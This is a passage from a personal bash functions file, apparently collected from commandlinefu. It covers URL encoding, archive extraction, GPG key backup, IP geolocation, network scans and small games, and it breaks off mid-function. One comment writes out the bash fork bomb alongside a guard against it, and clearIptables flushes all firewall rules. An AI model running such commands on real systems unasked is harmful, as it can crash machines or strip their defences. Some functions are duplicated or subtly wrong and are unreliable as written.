# ██╔══╝ ██║ ██║██║╚██╗██║██║ ██║ ██║██║ ██║██║╚██╗██║
# ██║ ╚██████╔╝██║ ╚████║╚██████╗ ██║ ██║╚██████╔╝██║ ╚████║
# ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
# Define a bash function to interactively pick a subdirectory to cd into
############################################################################################################################################
###### FUNCTIONS ###### FUNCTIONS ###### FUNCTIONS ###### FUNCTIONS ###### FUNCTIONS ###### FUNCTIONS ###### FUNCTIONS ###### FUNCTIONS
############################################################################################################################################
#if [ -f ~/.bash_functions ]; then
# . ~/.bash_functions
#fi
# Benötigte Programme:
#===============================
# sudo apt-get install geoip-bin html2text mercurial madplay festival weather-util weather-util-data gawk w3m python-pip youtube-dl gnuplot ispell dict moreutils tree txt2html zenity lsdvd vobcopy python-webkit geoip-bin mpg321
# Benötigt Python3 und ist veraltet
# sudo pip install mps-youtube
# für mencoder werden deb-multimedia sources.list benötigt
# mencoder
# veraltet
# python-gtkmozembed xulrunner-2.0 remastersys python-pisa
###### Download all images from a 4chan thread
function 4chanimages()
{
curl -s http://boards.4chan.org/wg/|sed -r 's/.*href="([^"]*).*/\1\n/g'|grep images|xargs wget
}
###### Urlencoding with one pure BASH builtin
function URLEncode { local dataLength="${#1}"; local index; for ((index = 0;index < dataLength;index++)); do local char="${1:index:1}"; case $char in [a-zA-Z0-9.~_-]) printf "$char"; ;; *) printf "%%%02X" "'$char"; ;; esac; done; }
# URLEncode https://www.commandlinefu.com/commands/by/emphazer
# opposite of https://www.commandlinefu.com/commands/view/10014/urldecoding-with-one-pure-bash-builtin
# This is sample output
https%3A%2F%2Fwww.commandlinefu.com%2Fcommands%2Fby%2Femphazer
function csv2json() { for file in $@; do python -c "import csv,json,fileinput; print(json.dumps(list(csv.reader(fileinput.input()))))" "$file" 1> "${file%%csv}json"; done; }
# Convert CSV to JSON - Python3 and Bash function Is written for python3 and is very easy to use. csv2json *csv will convert all files ending in csv to json. eg csv2json file.csv will output a file to file.json
function dockpage() { lynx -width=180 --dump https://docs.docker.com/v1.11/engine/reference/commandline/$1/ | sed -n '/^Usage/,/On this page/{/On this page/b;p}'; }
# Shows the online version of docker's man related a command. Docker is local man pages are (often) half of what you have online, so I wanted that as local man.
function curlh() { x="$(curl -Is -w '%{http_code}' "$@")"; if [[ "$(tail -n 1 <<< "$x")" == [45]* ]]; then curl -is "$@" | awk '{ if (!NF) { exit }; print }'; else head -n -1 <<< "$x"; fi; }
# Get only headers from a website with curl even if it does not support HEAD. Some sites running on basic web servers do not support the HEAD request, so using "curl -I" on them does not work. This will automatically try "curl -I" at first and if that fails with a 4xx or 5xx status code, it falls back to "curl -i" and prints only the headers from that.
# setproxy on cmd
function setproxy() {
export {http,https,ftp}_proxy='http://PROXYUSER:[email protected]:8080'
}
function unsetproxy() {
unset {http,https,ftp}_proxy
}
# Check what a color code will look like by making a function to display them. I'm having one side of this conversation right now without the benefit of the other side.
function showcolor(){
display -size 400x400 "xc:$1" ;
}; showcolor '#6495ED'
# Generate Random Text based on Length
function genRandomText() {
local n=$1; while [ $((n--)) -gt 0 ]; do printf "\x$(printf %x $((RANDOM % 26 + 65)))" ; done ; echo ;
}
# function to compute what percentage of X is Y? Where percent/100 = X/Y => percent=100*X/Y
# This function make it easy to compute X/Y as a percentage. The name "wpoxiy" is an acronym of "what percentage of X is Y" Show Sample Output
#
# $ wpoxiy 65788574 1269501
# 1.92%
#
# $ wpoxiy 30 10
# 33.33%
# What percentage of X is Y? Where percent/100 = X/Y => percent=100*X/Y
# Example: wpoxiy 10 5 # 50.00%
# Example: wpoxiy 30 10 # 33.33%
function wpoxiy () {
echo $(bc <<< "scale=2; y=${1}; x=${2}; percent=x*100/y; percent")"%";
}
# Generate Random Text based on Length -> Random text of length "$1" without the useless cat command.
function genRandomText() {
tr -cd '[:alpha:]' < /dev/urandom | head -c "$1";
}
# small CPU benchmark with PI, bc and time. -> 4 cores with 2500 pi digits CPUBENCH 4 2500 . every core will use 100% cpu and you can see how fast they calculate it. if you do 50000 digitits and more it can take hours or days Show Sample Output
function CPUBENCH() {
local CPU="${1:-1}"; local SCALE="${2:-5000}"; { for LOOP in `seq 1 $CPU`; do { time echo "scale=${SCALE}; 4*a(1)" | bc -l -q | grep -v ^"[0-9]" & } ; done }; echo "Cores: $CPU"; echo "Digit: $SCALE" ;
}
# Show all files sorted by date -> a quick function for searching changed files. just copy it in the bash Show Sample Output
function FINDDATE() {
LOCATION="${1:-.}"; find ${LOCATION} -type f -print0 | xargs -0 stat -c "%y %n" | sort | sed 's/.\([0-9]\)\{9,\} +0[1-2]00/\t/' | sed 's/ /\t/g'
}
# Function to draw a regular polygon using ImageMagick commands. Ex: poly 8 280 Credit to Digital Trauma on StackEx. CodeGolf
function poly(){
c=`bc -l <<<"for(;i++<$1;){t=6.28*i/$1;print s(t)*$2+$2,\",\";c(t)*$2+$2}"`;convert -size $[$2*2]x$[$2*2] xc: -draw "polygon $c" png:-|display;
}
# Abort the whole script from a function
trap "exit 1" TERM
export TOP_PID=$$
function fatal(){
echo "Goodbye"
kill -s TERM $TOP_PID
}
echo "Function call will abort"
echo $(func)
echo "This will never be printed"
# Find inside specific file type function
function findin() {
find . -type f -name "*.$1" | xargs ack $2
}
###### Add a function you've defined to .bashrc
function addfunction() { declare -f $1 >> ~/.bashrc ; }
# You can put this in your shell rc to *help* protect yourself *specifically* from :(){ :|:& };: #bash
:(){ true; };readonly -f :
#
sec2dhms()
{
declare -i SS="$1" D=$(( SS / 86400 )) H=$(( SS % 86400 / 3600 )) M=$(( SS % 3600 / 60 )) S=$(( SS % 60 )) [ "$D" -gt 0 ] && echo -n "${D}:" [ "$H" -gt 0 ] && printf "%02g:" "$H" printf "%02g:%02g\n" "$M" "$S"
}
## Convert seconds to [DD:][HH:]MM:SS
# Converts any number of seconds into days, hours, minutes and seconds.
sec2dhms()
{
declare -i SS="$1"
D=$(( SS / 86400 ))
H=$(( SS % 86400 / 3600 ))
M=$(( SS % 3600 / 60 ))
S=$(( SS % 60 ))
[ "$D" -gt 0 ] && echo -n "${D}:"
[ "$H" -gt 0 ] && printf "%02g:" "$H"
printf "%02g:%02g\n" "$M" "$S"
}
shebang () { printf '%s\n' 0a '#!'"$1" . w | ed -s "$2" ; }
# Retrofit a shebang to an existing script
# Function to add a shebang to an existing script, handy if you forgot to add it in the first place.
videospeed() { vname="$1"; speedc="$2"; vs=$(python3 -c "print(1/$speedc)"); aspeed=$(python3 -c "print(1*$speedc)"); ffmpeg -i "$vname" -filter:a "atempo=$aspeed" -filter:v "setpts=$vs*PTS" "${3:-converted_$1}"; }
# Speed up or slow down video (and audio)
# Usage:
videospeed video_filename speedchange newfilename
videospeed foo.mp4 0.5 foo_slow.mp4
# Range of 0.5 (50%) - 2.0 (200%) is valid.
lc() { od="$1"; nd="$2"; of=$3; nf=$4; cp -rl "$od" "$nd"; parallel -0 "ffmpeg -i {1} -loglevel error -q:a 6 {1.}.{2} && { rm {1}; echo {1.}.{2}; }" :::: <(find "$nd" -type f -iname \*$of -print0) ::: "$nf"; }
# Convert entire audio library in parallel
# Uses parallel processing
# Reiteration of my earlier command -> https://www.commandlinefu.com/commands/view/15246/convert-entire-music-library
# Usage
lc Old_Directory New_DIrectory Old_Format New_Format
lc ~/Music ~/Music_ogg mp3 ogg
function cdb()
{
select dir in $(find -type d -name "$1" -not -path '*/\.*' -prune)
do cd "${dir}" && break
done
}
# Extract Function Linux Bash
# Extract archives - use: extract <file>
# Based on http://dotfiles.org/~pseup/.bashrc
function extract() {
if [ -f "$1" ] ; then
local filename=$(basename "$1")
local foldername="${filename%%.*}"
local fullpath=`perl -e 'use Cwd "abs_path";print abs_path(shift)' "$1"`
local didfolderexist=false
if [ -d "$foldername" ]; then
didfolderexist=true
read -p "$foldername already exists, do you want to overwrite it? (y/n) " -n 1
echo
if [[ $REPLY =~ ^[Nn]$ ]]; then
return
fi
fi
mkdir -p "$foldername" && cd "$foldername"
case $1 in
*.tar.bz2) tar xjf "$fullpath" ;;
*.tar.gz) tar xzf "$fullpath" ;;
*.tar.xz) tar Jxvf "$fullpath" ;;
*.tar.Z) tar xzf "$fullpath" ;;
*.tar) tar xf "$fullpath" ;;
*.taz) tar xzf "$fullpath" ;;
*.tb2) tar xjf "$fullpath" ;;
*.tbz) tar xjf "$fullpath" ;;
*.tbz2) tar xjf "$fullpath" ;;
*.tgz) tar xzf "$fullpath" ;;
*.txz) tar Jxvf "$fullpath" ;;
*.zip) unzip "$fullpath" ;;
*) echo "'$1' cannot be extracted via extract()" && cd .. && ! $didfolderexist && rm -r "$foldername" ;;
esac
else
echo "'$1' is not a valid file"
fi
}
#------------------------------------------------------------------------------#
function cdb() { select dir in $(find -type d -name "$1" -not -path '*/\.*' -prune); do cd "${dir}" && break; done }
# Define a bash function to interactively pick a subdirectory to cd into
# Bash autocomplete ssh hosts
gistfile1.txt
_complete_ssh_hosts ()
{
COMPREPLY=()
cur="${COMP_WORDS[COMP_CWORD]}"
comp_ssh_hosts=`cat ~/.ssh/known_hosts | \
cut -f 1 -d ' ' | \
sed -e s/,.*//g | \
grep -v ^# | \
uniq | \
grep -v "\[" ;
cat ~/.ssh/config | \
grep "^host " | \
awk '{print $2}'
`
COMPREPLY=( $(compgen -W "${comp_ssh_hosts}" -- $cur))
return 0
}
complete -F _complete_ssh_hosts ssh
###### to export private OpenPGP keys to a file for safe keeping and potential restoration - using 'mykeys', put the appropriate GPG key after you type this function
function exportmykeys_private()
{
gpg --list-secret-keys
echo -n "Please enter the appropriate private key...
Look for the line that starts something like "sec 1024D/".
The part after the 1024D is the key_id.
...like this: '2942FE31'...
"
read MYKEYPRIV
gpg -ao Private_Keys-private.key --export-secret-keys "$MYKEYPRIV"
echo -n "All done."
}
###### to export public OpenPGP keys to a file for safe keeping and potential restoration- using 'mykeys', put the appropriate GPG key after you type this function
function exportmykeys_public()
{
gpg --list-keys
echo -n "Please enter the appropriate public key...
Look for line that starts something like "pub 1024D/".
The part after the 1024D is the public key_id.
...like this: '2942FE31'...
"
read MYKEYPUB
gpg -ao Public_Keys-public.key --export "$MYKEYPUB"
echo -n "All done."
}
###### to restore your public and private OpenPGP keys from Public_Key-public.key and Private_Keys-private.key files:
function restoremykeys()
{
echo -n "Please enter the full path to Public keys (spaces are fine)...
Example: '/home/(your username)/Public_Key-public.key'...
"
read MYKEYS_PUBLIC_LOCATION
gpg --import "$MYKEYS_PUBLIC_LOCATION"
echo -n "Please enter the full path to Private keys (spaces are fine)...
Example: '/home/(your username)/Private_Keys-private.key'...
"
read MYKEYS_PRIVATE_LOCATION
gpg --import "$MYKEYS_PRIVATE_LOCATION"
echo -n "All done."
}
###### to setup new public and private OpenPGP keys
function setupmykeys()
{
# Generate new key
gpg --gen-key
# Publish new key to Ubuntu keyserver
gpg --keyserver hkp://keyserver.ubuntu.com --send-keys
# Import an OpenPGP key
gpg --fingerprint
# Verify new key
read -sn 1 -p "Before you continue, you must enter the fingerprint
in the appropriate place in your Launchpad PPA on their website...
Once you have successfully inputed it, wait for your email before
you press any key to continue...
"
gedit $HOME/file.txt
read -sn 1 -p "Once you have received your email from Launchpad to
verify your new key, copy and paste the email message received upon
import of OpenPGP key from "-----BEGIN PGP MESSAGE-----" till
"-----END PGP MESSAGE-----" to the 'file.txt' in your home folder
that was just opened for you
Once you have successfully copied and pasted it, save it and
press any key to continue...
"
gpg -d $HOME/file.txt
echo -n "All done."
}
# Text alignment
#------------------------------------------////
###### center text in console with simple pipe like
function align_center() { l="$(cat -)"; s=$(echo -e "$l"| wc -L); echo "$l" | while read l;do j=$(((s-${#l})/2));echo "$(while ((--j>0)); do printf " ";done;)$l";done;} #; ls --color=none / | center
###### right-align text in console using pipe like ( command | right )
function align_right() { l="$(cat -)"; [ -n "$1" ] && s=$1 || s=$(echo -e "$l"| wc -L); echo "$l" | while read l;do j=$(((s-${#l})));echo "$(while ((j-->0)); do printf " ";done;)$l";done;} #; ls --color=none / | right 150
# Network information and IP address stuff
#------------------------------------------////
###### get all IPs via ifconfig
function allips()
{
sudo ifconfig | awk '/inet / {sub(/addr:/, "", $2); print $2}'
}
###### clear iptables rules safely
function clearIptables()
{
iptables -P INPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -P OUTPUT ACCEPT; iptables -F; iptables -X; iptables -L
}
###### online check
function connected() { ping -c1 -w2 google.com > /dev/null 2>&1; }
function connected_() { rm -f /tmp/connect; http_proxy='http://a.b.c.d:8080' wget -q -O /tmp/connect http://www.google.com; if [[ -s /tmp/connect ]]; then return 0; else return 1; fi; }
###### check if a remote port is up using dnstools.com - (i.e. from behind a firewall/proxy)
function cpo() { [[ $# -lt 2 ]] && echo 'need IP and port' && return 2; [[ `wget -q "http://dnstools.com/?count=3&checkp=on&portNum=$2&target=$1&submit=Go\!" -O - |grep -ic "Connected successfully to port $2"` -gt 0 ]] && echo OPEN || echo CLOSED; }
###### find an unused unprivileged TCP port
function findtcp()
{
(netstat -atn | awk '{printf "%s\n%s\n", $4, $4}' | grep -oE '[0-9]*$'; seq 32768 61000) | sort -n | uniq -u | head -n 1
}
###### geoip lookup (need geoip database: sudo apt-get install geoip-bin)
function geoip() {
sudo geoiplookup $1
}
###### geoip information - requires 'html2text': sudo apt-get install html2text
function geoiplookup() { curl -A "Mozilla/5.0" -s "http://www.geody.com/geoip.php?ip=$1" | grep "^IP.*$1" | html2text; }
###### get IP address of a given interface - Example: getip lo - Example: getip eth0 # this is the default
function getip() { lynx -dump http://whatismyip.org/; }
###### display private IP
function ippriv()
{
sudo ifconfig eth0|grep "inet adr"|awk '{print $2}'|awk -F ':' '{print $2}'
}
###### ifconfig connection check
function ips()
{
if [ "$OS" = "Linux" ]; then
for i in $( /sbin/ifconfig | grep ^e | awk '{print $1}' | sed 's/://' ); do echo -n "$i: "; /sbin/ifconfig $i | perl -nle'/dr:(\S+)/ && print $1'; done
elif [ "$OS" = "Darwin" ]; then
for i in $( /sbin/ifconfig | grep ^e | awk '{print $1}' | sed 's/://' ); do echo -n "$i: "; /sbin/ifconfig $i | perl -nle'/inet (\S+)/ && print $1'; done
fi
}
###### geolocate a given IP address
function ip2loc() { wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblICountry\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g'; }
###### ip2locall
function ip2locall() {
# best if used through a proxy, as ip2loc's free usage only lets you search a maximum of 20 times per day
# currently set on using a proxy through tor; if don't want that, just comment out the two 'export..' and 'unset...' lines
export http_proxy='http://localhost:8118'
export https_proxy='http://localhost:8118'
echo ""
echo "Country:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblICountry\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "Region (State, Province, Etc.):"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIRegion\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "City:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblICity\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "Latitude:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblILatitude\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "Longitude:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblILongitude\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "ZIP Code:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIZIPCode\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "Time Zone:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblITimeZone\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "Net Speed:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblINetSpeed\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "ISP:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIISP\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "Domain:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIDomain\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "IDD Code:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIIDDCode\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "Area Code:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIAreaCode\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "Weather Station:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIWeatherStation\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "MCC:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIMCC\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "MNC:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIMNC\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "Mobile Brand:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIMobileBrand\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
unset http_proxy
unset https_proxy
}
###### ip2locate
function ip2locate() {
# best if used through a proxy, as ip2loc's free usage only lets you search a maximum of 20 times per day
# currently set on using a proxy through tor; if don't want that, just comment out the two 'export..' and 'unset...' lines
export http_proxy='http://localhost:8118'
export https_proxy='http://localhost:8118'
echo ""
echo "Country:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblICountry\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "Region (State, Province, Etc.):"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblIRegion\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "City:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblICity\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "Latitude:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblILatitude\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
echo "Longitude:"
wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblILongitude\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s/</</g; s/>/>/g; s/&/\&/g';
echo ""
unset http_proxy
unset https_proxy
}
###### find the IP addresses that are currently online in your network
function localIps()
{
for i in {1..254}; do
x=`ping -c1 -w1 192.168.1.$i | grep "%" | cut -d"," -f3 | cut -d"%" -f1 | tr '\n' ' ' | sed 's/ //g'`
if [ "$x" == "0" ]; then
echo "192.168.1.$i"
fi
done
}
####### Meine momentane IP-Adresse
function myipis ()
{
echo MyIP:
elinks -dump http://checkip.dyndns.org:8245/ | grep "Current IP Address" | cut -d":" -f2 | cut -d" " -f2
}
###### myip - finds your current IP if your connected to the internet
function myip()
{
lynx -dump -hiddenlinks=ignore -nolist http://checkip.dyndns.org:8245/ | awk '{ print $4 }' | sed '/^$/d; s/^[ ]*//g; s/[ ]*$//g'
}
###### netinfo - shows network information for your system
function netinfo()
{
echo "--------------- Network Information ---------------"
/sbin/ifconfig | awk /'inet addr/ {print $2}'
/sbin/ifconfig | awk /'Bcast/ {print $3}'
/sbin/ifconfig | awk /'inet addr/ {print $4}'
/sbin/ifconfig | awk /'HWaddr/ {print $4,$5}'
myip=`lynx -dump -hiddenlinks=ignore -nolist http://checkip.dyndns.org:8245/ | sed '/^$/d; s/^[ ]*//g; s/[ ]*$//g' `
echo "${myip}"
echo "---------------------------------------------------"
}
###### check whether or not a port on your box is open
function portcheck() { for i in $@;do curl -s "deluge-torrent.org/test-port.php?port=$i" | sed '/^$/d;s/<br><br>/ /g';done; }
###### scp sending
function scpsend()
{
scp -P PORTNUMBERHERE "$@" [email protected]:/var/www/html/pathtodirectoryonremoteserver/;
}
###### show ip
function show_ip()
{
case $1 in
*help | "" )
echo -e "\n${ewhite}Usage:\n"
echo -e "${eorange}show_ip${ewhite} |${egreen} <interface> ${eiceblue}[show ip-address for <interface>]\
\n${eorange}show_ip${ewhite} |${egreen} external${eiceblue} [show external ip address]\n"
tput sgr0
;;
*external )
wget -q -O - http://showip.spamt.net/
;;
* )
LANG=C /sbin/ifconfig $1 | grep 'inet addr:' | cut -d: -f2 | gawk '{ print $1}'
;;
esac
}
###### display the ttl of a hostname in a human readable form (packet timetrans veraltet)
#function ttl()
#{
# /usr/sbin/timetrans -count $(dig +noquestion +noadditional +noauthority $1 | grep "^$1" | awk '{print $2}')
#}
###### show Url information - Usage: url-info "ur"
function url-info()
{
doms=$@
if [ $# -eq 0 ]; then
echo -e "No domain given\nTry $0 domain.com domain2.org anyotherdomain.net"
fi
for i in $doms; do
_ip=$(host $i|grep 'has address'|awk {'print $4'})
if [ "$_ip" == "" ]; then
echo -e "\nERROR: $i DNS error or not a valid domain\n"
continue
fi
ip=`echo ${_ip[*]}|tr " " "|"`
echo -e "\nInformation for domain: $i [ $ip ]\nQuerying individual IPs"
for j in ${_ip[*]}; do
echo -e "\n$j results:"
whois $j |egrep -w 'OrgName:|City:|Country:|OriginAS:|NetRange:'
done
done
}
###### cleanly list available wireless networks (using iwlist)
function wscan()
{
iwlist wlan0 scan | sed -ne 's#^[[:space:]]*\(Quality=\|Encryption key:\|ESSID:\)#\1#p' -e 's#^[[:space:]]*\(Mode:.*\)$#\1\n#p'
}
####### Show all strings (ASCII & Unicode) in a file
function allStrings() { cat "$1" | tr -d "\0" | strings ; }
####### Find all videos under current directory using - MIME a.k.a not using extension
function allVideos() { find ./ -type f -print0 | xargs -0 file -iNf - | grep ": video/" | cut -d: -f1 ; }
# Miscellaneous Fun
#------------------------------------------////
###### anagrams
function anagrams()
{
cat > "/tmp/anagrams.py" <<"End-of-message"
#!/usr/bin/python
infile = open ("/usr/share/dict/words", "r")
## "dict" is a reserved word
words_in = infile.readlines()
scrambled = raw_input("Enter the scrambled word: ")
scrambled = scrambled.lower()
scrambled_list = list(scrambled)
scrambled_list.sort()
for word in words_in:
word_list = list(word.strip().lower())
word_list.sort()
## you don't really have to compare lengths when using lists as the
## extra compare takes about as long as finding the first difference
if word_list == scrambled_list:
print word, scrambled
End-of-message
chmod +x "/tmp/anagrams.py"
"/tmp/anagrams.py" "$1"
rm "/tmp/anagrams.py"
}
function anagram_() { function s() { sed 's/[[:space:]]*//g;s/./\n\0/g'<<<"$@"|tr A-Z a-z|sort;};cmp -s <(s $1) <(s $2)||echo -n "not ";echo anagram; }
###### random Cyanide and Happiness comics from explosm.net
function cyanide() { display "$(wget -q http://explosm.net/comics/random/ -O - | grep -Po 'http://www.explosm.net/db/files/Comics/*/[^"]+(png|jpg|jpeg)')"; }
###### fake error string
function error()
{
while true; do awk '{ print ; system("let R=$RANDOM%10; sleep $R") }' compiler.log; done
}
###### stupid funny face
function funny_face() {
_ret=$?; if test $_ret -ne 0; then echo "0_0->ret=$_ret"; set ?=$_ret; unset _ret; else echo "^_^"; fi
}
###### pretend to be busy in office to enjoy a cup of coffee
function grepcolor()
{
cat /dev/urandom | hexdump -C | grep --color=auto "ca fe"
}
###### a simple number guessing game
function hilow()
{
biggest=1000 # maximum number possible
guess=0 # guessed by player
guesses=0 # number of guesses made
number=$(( $$ % $biggest )) # random number, 1 .. $biggest
while [ $guess -ne $number ] ; do
echo -n "Guess? " ; read guess
if [ "$guess" -lt $number ] ; then
echo "... bigger!"
elif [ "$guess" -gt $number ] ; then
echo "... smaller!"
fi
guesses=$(( $guesses + 1 ))
done
echo "Right!! Guessed $number in $guesses guesses."
}
###### watch the National debt clock
function natdebt()
{
watch -n 10 "wget -q http://www.brillig.com/debt_clock -O - | grep debtiv.gif | sed -e 's/.*ALT=\"//' -e 's/\".*//' -e 's/ //g'"
}
######
function oneliners()
{
w3m -dump_source http://www.onelinerz.net/random-one-liners/1/ | awk ' /.*<div id=\"oneliner_[0-9].*/ {while (! /\/div/ ) { gsub("\n", ""); getline; }; gsub (/<[^>][^>]*>/, "", $0); print $0}'
}
###### random cowsay stuff
function random_cow()
{
files=(/usr/share/cowsay/cows/*)
printf "%s\n" "${files[RANDOM % ${#files}]}"
}
####### Temporarily add to PATH
function apath()
{
if [ $# -lt 1 ] || [ $# -gt 2 ]; then
echo "Temporarily add to PATH"
echo "usage: apath [dir]"
else
PATH=$1:$PATH
fi
}
###### Function you want after you've overwritten some - important file using > instead of >> ^^
function append() {
lastarg="${!#}"
echo "${@:1:$(($#-1))}" >> "$lastarg"
}
####### Common commands piped through grep
function aptg() # debian specific.
{
if [ $# -lt 1 ] || [ $# -gt 1 ]; then
echo "search debian package list"
echo "usage: aptg [program/keyword]"
else
apt-cache search $1 | sort | less
fi
}
###### grep by paragraph instead of by line
function grepp() { [ $# -eq 1 ] && perl -00ne "print if /$1/i" || perl -00ne "print if /$1/i" < "$2";}
function hgg()
{
if [ $# -lt 1 ] || [ $# -gt 1 ]; then
echo "search bash history"
echo "usage: mg [search pattern]"
else
history | grep -i $1 | grep -v hg
fi
}
function lsofg()
{
if [ $# -lt 1 ] || [ $# -gt 1 ]; then
echo "grep lsof"
echo "usage: losfg [port/program/whatever]"
else
lsof | grep -i $1 | less
fi
}
function psg()
{
if [ $# -lt 1 ] || [ $# -gt 1 ]; then
echo "grep running processes"
echo "usage: psg [process]"
else
ps aux | grep USER | grep -v grep
ps aux | grep -i $1 | grep -v grep
fi
}
####### To show Apt Log History
function apt-history() {
case "$1" in
install)
cat /var/log/dpkg.log | grep 'install '
;;
upgrade|remove)
cat /var/log/dpkg.log | grep $1
;;
rollback)
cat /var/log/dpkg.log | grep upgrade | \
grep "$2" -A10000000 | \
grep "$3" -B10000000 | \
awk '{print $4"="$5}'
;;
*)
cat /var/log/dpkg.log
;;
esac
}
####### Undo apt-get build-dep (remove build dependencies) #
function aptitude-remove-dep() { sudo aptitude markauto $(apt-cache showsrc "$1" | grep Build-Depends | perl -p -e 's/(?:[\[(].+?[\])]|Build-Depends:|,|\|)//g'); }
####### Arch-wiki-docs simple search
function archwikisearch() {
# old version
# cd /usr/share/doc/arch-wiki/html/
# grep -i "$1" index.html | sed 's/.*HREF=.\(.*\.html\).*/\1/g' | xargs opera -newpage
cd /usr/share/doc/arch-wiki/html/
for i in $(grep -li $1 *)
do
STRING=`grep -m1 -o 'wgTitle = "[[:print:]]\+"' $i`
LEN=${#STRING}
let LEN=LEN-12
STRING=${STRING:11:LEN}
LOCATION="/usr/share/doc/arch-wiki/html/$i"
echo -e " \E[33m$STRING \E[37m$LOCATION"
done
}
# Numerical conversions and numbers stuff
#------------------------------------------////
###### convert arabic to roman numerals
function arabic2roman() {
echo $1 | sed -e 's/1...$/M&/;s/2...$/MM&/;s/3...$/MMM&/;s/4...$/MMMM&/
s/6..$/DC&/;s/7..$/DCC&/;s/8..$/DCCC&/;s/9..$/CM&/
s/1..$/C&/;s/2..$/CC&/;s/3..$/CCC&/;s/4..$/CD&/;s/5..$/D&/
s/6.$/LX&/;s/7.$/LXX&/;s/8.$/LXXX&/;s/9.$/XC&/
s/1.$/X&/;s/2.$/XX&/;s/3.$/XXX&/;s/4.$/XL&/;s/5.$/L&/
s/1$/I/;s/2$/II/;s/3$/III/;s/4$/IV/;s/5$/V/
s/6$/VI/;s/7$/VII/;s/8$/VIII/;s/9$/IX/
s/[0-9]//g'
}
###### convert ascii
function asc2all() {
if [[ $1 ]]; then
echo "ascii $1 = binary $(asc2bin $1)"
echo "ascii $1 = octal $(asc2oct $1)"
echo "ascii $1 = decimal $(asc2dec $1)"
echo "ascii $1 = hexadecimal $(asc2hex $1)"
echo "ascii $1 = base32 $(asc2b32 $1)"
echo "ascii $1 = base64 $(asc2b64 $1)"
fi
}
######
function asc2bin() {
if [[ $1 ]]; then
echo "obase=2 ; $(asc2dec $1)" | bc
fi
}
######
function asc2b64() {
if [[ $1 ]]; then
echo "obase=64 ; $(asc2dec $1)" | bc
fi
}
######
function asc2b32() {
